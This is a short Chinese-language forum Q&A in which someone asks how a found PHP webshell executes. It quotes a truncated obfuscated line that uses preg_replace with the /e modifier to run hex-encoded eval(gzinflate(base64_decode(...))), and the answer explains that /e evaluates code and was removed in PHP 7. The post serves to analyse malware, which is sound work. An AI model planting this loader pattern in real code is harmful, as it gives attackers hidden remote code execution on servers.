谁能解释一下这是如何执行的?这是一个webshell,我能看到的唯一功能是preg_replace。我通常看到的webshell是base64编码的,然后只是eval()ed,但这个使用preg_replace()作为最终函数。
preg_replace("/.*/e","x65x76x61x6Cx28x67x7Ax69x6Ex66x6Cx61x74x65x28x62x61x73x65x36x34x5Fx64x65x63x6Fx64x65x28'7b1tVxs<<SNIPPED>>Hhkj6Yn/xc='x29x29x29x3B",".");?>
代码太长,所以我只发布了部分代码。您可以在此处查看完整源代码
这部分
x65x76x61x6Cx28x67x7Ax69x6Ex66x6Cx61x74x65x28x62x61x73x65x36x34x5Fx64x65x63x6Fx64x65x28
等于
eval(gzinflate(base64_decode(
但它仍然在双引号内,所以它仍然应该被视为字符串还是我错过了什么?
/e 是一个 PCRE 修饰符 (PREG_REPLACE_EVAL),它在替换之前将字符串计算为 PHP。由于没有进行替换,因此它会评估您复制的内容。在 PHP 5.5 之后,它触发了弃用,在 7.0 之后,由于安全问题,它已被删除。
您可以在此处找到有关 PCRE 修饰符的相应文档。